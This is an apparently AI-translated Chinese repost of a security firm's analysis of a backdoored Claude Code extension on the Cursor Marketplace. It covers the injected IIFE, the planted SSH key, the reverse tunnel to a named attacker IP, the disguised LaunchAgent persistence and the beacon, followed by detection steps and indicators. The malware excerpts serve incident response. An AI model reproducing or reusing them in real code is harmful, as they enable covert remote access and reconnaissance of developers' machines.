跳到正文
Hacker News· _chall·· 8 小时前精选AI 评分88

Claude Code for VS Code 2.1.313 在 Cursor Marketplace 被植入持久 SSH 后门

Backdoor in Claude Code for VS Code extension on the Cursor Marketplace

AI 导读

Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展中发现持久 SSH 后门,受影响版本为 2.1.313,Cursor 已撤下相关发布。

推荐理由

文章拆解了扩展注入、SSH 隧道、跨平台持久化与主机回传链路,并给出可落地的排查和清理指标。

正文 · AI 翻译

摘要

Phorion 在 Cursor Marketplace 上官方 Claude Code for VS Code 扩展包中发现了一个后门,该后门会在 macOS、Linux 和 Windows 上植入持久性 SSH 后门。本文主要聚焦 macOS,因为该扩展会尝试配置 SSH 后门并建立持久化机制。

各组织应立即检查其环境是否使用了 Claude Code for VSCode 2.1.313;一旦发现使用该扩展的情况,应立即启动事件响应。

Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭到入侵,其中被植入后门的扩展包包含一个持久性安全 Shell(SSH)后门。Cursor 已从其市场移除相关版本,同时从相应注册表撤下 2.1.313 的 NPM 和 VSCode 版本。

尽管该植入程序包含针对 macOS、Linux 和 Windows 的设置与持久化逻辑,但本文将主要聚焦 macOS,并沿途指出其他平台上的关键差异及若干实现缺陷。

Cursor Marketplace 为 Cursor 编辑器提供扩展。由于扩展以 IDE 及运行该 IDE 的用户所拥有的权限运行,因此被植入后门的扩展一旦加载模块,就能立即访问本地文件、源代码和开发工具。

值得注意的是,Phorion 发现恶意软件尝试启用 SSH 的方式很可能存在疏漏。其设置逻辑假定无需 root 权限即可检查当前的“远程登录”状态。以标准用户身份运行时,systemsetup -getremotelogin 会输出管理员访问权限错误并以状态 0 退出,而不是返回 Off。由于脚本仅在输出与 Off 匹配时才会尝试启用 SSH,因此会完全跳过启用步骤。在尚未运行 SSH 的 Mac 上,这一错误会破坏入站访问路径,尽管 SSH 密钥和持久化机制仍会被植入。

本文将介绍该后门的工作原理、macOS 检查失败的原因,以及在整个设备机群中需要查找的迹象。该载荷的目标是获得长期交互式访问权限。虽然 SSH 后门缺陷减小了其在 macOS 上的影响,但该恶意软件仍是重大威胁,因为它会安装持久化机制,并将主机侦察信标回传给操作人员。

感染链

Cursor Marketplace 扩展

遭入侵的 extension.js 文件开头包含一个注入的立即调用函数表达式(IIFE),该表达式被添加在压缩后的扩展包之前。扩展包的其余部分看起来与标准扩展一致,包含 Claude Code 和 VS Code 字符串、常规的 activate 和 deactivate 导出,以及 UI 代码。

注入的前缀会引入标准 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至早于扩展正常的 activate 回调运行。用户无需与扩展交互,载荷就会触发。

阶段 1 - 准备 SSH 访问

首先,载荷会确保 ~/.ssh 存在,并将攻击者控制的 Ed25519 公钥追加到 ~/.ssh/authorized_keys,同时将目录权限设置为 0700,文件权限设置为 0600。

该密钥使用 svc-telemetry 作为注释。在追加之前,脚本检查的是 svc-telemetry 是否已存在于文件中,而不是检查密钥本身。排查此类活动时,应检查公钥指纹,而不应仅依赖注释字符串。

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

这里,cur 保存 authorized_keys 的现有内容,而 PUB 是嵌入的攻击者公钥(此处已遮盖)。

密钥就位后,任何持有匹配私钥的人都可以在 SSH 确实正在运行的前提下,以该用户身份完成身份验证。脚本的下一步会尝试确保本地 SSH 守护进程已启用并处于监听状态:

  • Linux: 尝试通过 systemctl 启用并启动 sshd 或 ssh,失败后回退到 service 和 /etc/init.d/。
  • macOS: 检查“远程登录”,如果它报告 Off,就尝试通过 sudo -n systemsetup -setremotelogin on 启用。
  • Windows: 尝试使用 PowerShell 安装并启动 OpenSSH Server。

这些步骤均不包含权限提升漏洞利用。非交互式 sudo -n 除非用户已经缓存了 sudo 凭据或配置了免密 sudo,否则将失败,因此从标准用户上下文启动系统服务并不总能成功。

Windows 代码路径似乎还有一个自己的 bug:它通过辅助函数(det())传递 PowerShell 服务设置命令,该函数硬编码了 /bin/sh;在标准 Windows 安装中,这种做法不会奏效。

macOS SSH 逻辑中存在 bug?

在 macOS 上,设置过程甚至还没执行 sudo 命令就可能遇到问题。脚本在不提权的情况下运行 systemsetup -getremotelogin,并将输出与 /Off/i 进行比较。只有当输出包含 Off 时,它才会尝试启用远程登录:

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

请注意,第二个命令(-setremotelogin on)使用了 sudo -n,而第一个命令(-getremotelogin)没有使用。以标准用户在 macOS 上运行 systemsetup -getremotelogin 时,你会看到以下内容:

You need administrator access to run this tool... exiting!

systemsetup 拒绝在没有管理员权限的情况下读取该设置,将错误打印到 stdout,并以状态 0 退出。该恶意软件的 ex() 辅助函数会获取 stdout 并将其返回:

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

由于输出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 的计算结果为 false。

因此,脚本会跳过 if 代码块,且绝不会运行 sudo -n systemsetup -setremotelogin on。它实际上把“我没有权限检查 SSH 是否已关闭”视为“SSH 已经开启”,这也解释了为什么扩展以普通用户身份运行时,在进程遥测中看不到启用尝试。

这个 bug 可能会破坏访问链的最后一步。 如果 Mac 上尚未启用远程登录,出站隧道仍可连接到攻击者的服务器,但通过隧道转发回来的任何流量都会碰到 localhost 上已关闭的 22 端口。

当然,不能把这当作一种可靠的防御手段。如果用户此前已启用远程登录,或之后将其开启,后门就会随时准备就绪。

第 2 阶段 - 建立反向 SSH 隧道

接下来,脚本以 tunnel 用户身份在 22 端口上建立到 134.209.82[.]225 的出站 SSH 连接。为了向攻击者的服务器进行身份验证,它会解码另一个嵌入的私钥:一把未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。

调查过程中,值得注意区分这两把密钥:

  • 添加到 ~/.ssh/authorized_keys 的公钥(svc-telemetry)使攻击者能够登录受害者的计算机。
  • 嵌入的私钥(svc-telemetry-tun)使受害者的计算机能够向外连接到攻击者的隧道服务器。

脚本会把这把隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后接主机名与主目录路径的 MD5 哈希值的前十个字符:

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

隧道使用 -R *:0:localhost:22 进行远程端口转发。传入 0 会要求攻击者的 SSH 服务器动态分配一个监听端口,并将所有到达该端口的流量通过隧道转发回受害者计算机上的 localhost:22:

Affected host -- outbound SSH tunnel --> External SSH server

Operator -- separate connection --> Server's allocated port
                                            |
                                 Through the existing tunnel
                                            |
                                            v
                                  Affected host's SSH:22
                                            |
                                  Login using the planted key

由于隧道与 -N 一同运行,因此它只会让端口转发保持打开,而无需在远程服务器上执行命令。当操作人员希望访问该机器时,他们会在其服务器上分配的端口启动单独的 SSH 会话,使用阶段 1 中植入的密钥向受害者本地的 SSH 守护进程进行身份验证。这样,他们便能获得完整的交互式 shell 和文件传输能力,而无需在 JavaScript 本身中处理任何自定义 C2 命令。

SSH 命令还会传递一些标志,使连接保持静默且非交互:禁用主机密钥检查,忽略 known_hosts,启用 BatchMode 和 IdentitiesOnly,将保活间隔设置为 30 秒(ServerAliveCountMax=3),并开启 ExitOnForwardFailure。

如果已安装 autossh,脚本就会使用它;否则回退到标准的 ssh。它将连接置于一个脱离运行的重试循环中,每次尝试之间休眠 60 秒,并在 Unix 系统上使用 pgrep,以避免重复启动初始隧道。由于该循环已脱离运行,即使用户关闭 IDE,隧道仍会保持运行。

阶段 3 - 保持访问可用

为了在重启后继续存活,脚本会在初始分离式隧道之外设置针对不同平台的持久化机制:

平台产物持久化机制说明
Linux~/.config/.smt, ~/.config/.smtk写入一个 shell 脚本,用于重新创建隧道密钥并循环执行 SSH 连接,然后将一个 @reboot 条目添加到用户的 crontab 中。crontab 检查中存在一个 bug,重复运行时可能会清除用户现有的 cron 作业(详见下文)。
macOS~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist写入一个用户级 LaunchAgent,运行 /bin/sh ~/.config/.smt,其中 RunAtLoad 和 KeepAlive 设为 true,然后通过 launchctl 加载它。在用户上下文中运行,而不是作为 root LaunchDaemon 运行。
Windows~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd尝试创建一个名为 SysMon 的计划任务,使其在启动时以 SYSTEM 身份运行。如果失败,则将 sysmon.cmd 放入用户的 Startup 文件夹。创建一个 SYSTEM 任务需要管理员权限;Startup 文件夹回退方案则会在用户登录时以用户身份运行。

在 macOS 和 Linux 上,~/.config/.smt 脚本内嵌了隧道私钥,并会在启动重连循环前将其写入 ~/.config/.smtk。

在 macOS 上,LaunchAgent 会在 ~/Library/LaunchAgents/ 中将自身伪装成 com.apple.sysmond.plist:

<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

阶段 4 - 主机侦察

最后,脚本收集基本的主机侦察信息,并向攻击者的服务器发送一次性信标:

  • 主机名、用户名、操作系统平台和架构
  • 主目录、当前工作目录和全局 Git 电子邮件(git config --global user.email)
  • 每个设置阶段的公网 IP 地址和状态标志(例如,是否已添加 SSH 密钥,以及运行了哪种持久化机制)
  • 最多 40 个与 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 匹配的环境变量名称(而非值)

环境变量检查使用 Object.keys(process.env):

Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

由于它只获取变量名称,信标并不会窃取机密值本身。相反,它会向操作人员快速概览该机器上存在哪些云凭据或 API 令牌,让他们知道应优先处理哪些主机。

为获取机器的公网 IP,脚本会查询 ifconfig[.]me,否则回退到 api[.]ipify[.]org。

随后,它会通过明文 HTTP POST 请求,分别经由 134.209.82[.]225:8099 和 127.0.0.1:8099 将 JSON 报告发送到 /beacon:

var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

从样本中无法看出它为什么还会将信标副本发送到 127.0.0.1:8099;脚本本身并未在该端口上设置本地侦听器。

信标会通过 setTimeout 调度一次(初始设置运行后 1.5 秒),并使用 res.resume() 丢弃所有 HTTP 响应。它纯粹用于签到,让操作人员知道主机已准备就绪,而实际访问由 SSH 隧道处理。

检测机会

从检测角度看,在使用 Endpoint Security Framework(ESF)遥测数据时,这条攻击链中的若干行为在 macOS 上尤为突出。

SSH 密钥和配置变更

由于该恶意软件使用 Node 的 ~/.ssh/authorized_keys 直接向 fs.appendFileSync 追加内容,仅监控进程、用于发现类似 echo 或 tee 之类触及 authorized_keys 的 shell 命令的规则将无法捕获它。这里必须利用文件修改遥测:监控 IDE 辅助进程(Code Helper、Cursor Helper 等)创建或写入 ~/.ssh/authorized_keys。

尽管 IDE 二进制文件本身具有有效签名,但其扩展宿主进程本不该在后台修改 SSH 身份验证文件。

虽然也应监控 systemsetup -setremotelogin on,但不要将其作为针对此次攻击活动发出警报的必要条件。如上所述,macOS 上的状态检查失效意味着该命令往往根本不会运行。

用户级 LaunchAgent 持久化

macOS 上的持久化设置为我们提供了几个明显的信号:

  • 非 Apple 进程写入带有 com.apple.* 标签(~/Library/LaunchAgents/com.apple.sysmond.plist)的 plist 文件。
  • LaunchAgent 被配置为对用户主目录中的隐藏脚本执行 /bin/sh(~/.config/.smt)。

由于初始隧道以分离进程方式启动,而 launchd 随后直接管理 .smt,后续的 ssh 进程在实时进程树中不会以 IDE 作为直接父进程。将 .smt 和 com.apple.sysmond.plist 的文件创建事件与 IDE 扩展宿主进程关联起来,会更容易拼凑出完整攻击链。

SSH 隧道与后续访问

在进程和网络层面,应查找:

  • 以远程端口转发(-R *:0:localhost:22)方式启动的 ssh 或 autossh,且身份文件取自 /tmp/.stk_* 或 ~/.config/.smtk。
  • 向 134.209.82[.]225 发出的端口 22 出站 SSH 连接,以及向 134.209.82[.]225:8099 发出的 HTTP POST 请求(还有连接 127.0.0.1:8099 的尝试)。

如果发现某台主机上运行过此扩展,务必检查隧道是仅已建立,还是操作人员实际上已通过其登录。由于入站会话经由本地端口转发到达,SSH 日志中的成功登录记录会显示为来自 localhost(127.0.0.1 或 ::1),并使用 svc-telemetry 密钥进行身份验证。

补救措施

如果发现受影响的机器,仅卸载扩展并不能移除后门。确保响应措施涵盖其投放的所有阶段:

  1. 终止活动的隧道进程:终止 /bin/sh 重试循环,以及任何连接到 134.209.82[.]225 的 ssh 或 autossh 进程。
  2. 移除持久化机制:在 macOS 上卸载并删除 ~/Library/LaunchAgents/com.apple.sysmond.plist(或者清理 Linux 上的 @reboot cron 条目 / Windows 上的 SysMon 计划任务和 Startup 脚本),并移除 ~/.config/.smt 和 ~/.config/.smtk。
  3. 清理 SSH 密钥和状态:从 ~/.ssh/authorized_keys 中移除 svc-telemetry 公钥,删除 /tmp/.stk_*,并确认远程登录(SSH)未被意外启用。
  4. 轮换凭据:如果主机上启用了 SSH,或者有任何入站登录的证据,请轮换该用户账户可访问的任何凭据或令牌(尤其是与 KEY|TOKEN|SECRET|PASS|AWS|GCP 环境变量筛选条件匹配的凭据或令牌)。

Phorion 的方案

Phorion 开箱即用的检测覆盖通过多条规则标记此次攻击所用的 macOS 持久化机制,包括非 Apple 进程创建 com.apple.* LaunchAgents,以及 LaunchAgents 执行隐藏目录中的 shell 脚本。

除了持久化机制,Phorion 的文件访问遥测还能捕获 IDE 扩展宿主进程直接修改 ~/.ssh/authorized_keys,而 Phorion Protections 可用于收紧 ~/.ssh/ 的访问权限,从源头确保只有经授权的进程才能读取或修改 SSH 密钥和配置文件。

如果想了解 Phorion 如何在整个 Mac 设备群中检测并阻止此类供应链威胁,联系我们以安排演示。

指标

样本及公钥指纹

指标值备注
SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15被植入后门的 extension.js 包
受害者登录公钥指纹SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk附加到 ~/.ssh/authorized_keys 的 Ed25519 密钥(注释 svc-telemetry)
隧道公钥指纹SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ用于向隧道服务器进行身份验证的内嵌 Ed25519 密钥(注释 svc-telemetry-tun)

网络指标

指标类型备注
134.209.82[.]225 (TCP 22, 用户 tunnel)IP / SSH出站反向 SSH 隧道服务器
134.209.82[.]225:8099 (POST /beacon)IP / HTTP外部主机报告信标端点
127.0.0.1:8099 (POST /beacon)回环 / HTTP本地信标目标
ifconfig[.]me, api[.]ipify[.]org域名用于发现公网 IP 而查询的合法服务

主机痕迹

痕迹平台备注
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64macOS (Apple Silicon)已安装的扩展目录(<ide> 因编辑器而异)
~/.ssh/authorized_keys (注释 svc-telemetry)所有植入的 Ed25519 公钥
<TMP>/.stk_<10 hex chars> (macOS 上为 $TMPDIR/.stk_*)所有操作系统临时目录中的初始隧道私钥(后缀为 MD5(hostname + HOME) 的前 10 个十六进制字符)
~/.config/.smt 和 ~/.config/.smtkmacOS, Linux持久化 shell 脚本及重新创建的隧道私钥
~/Library/LaunchAgents/com.apple.sysmond.plistmacOS执行 /bin/sh ~/.config/.smt 的用户 LaunchAgent
针对 ~/.config/.smt 的 @reboot cron 条目Linux用户 crontab 持久化
~/.config/smt.cmd 和 ~/.config/smtkWindows持久化批处理脚本及隧道私钥
计划任务 SysMonWindows启动计划任务(请求 SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmdWindows启动文件夹备用脚本

来源:Hacker News · phorion.io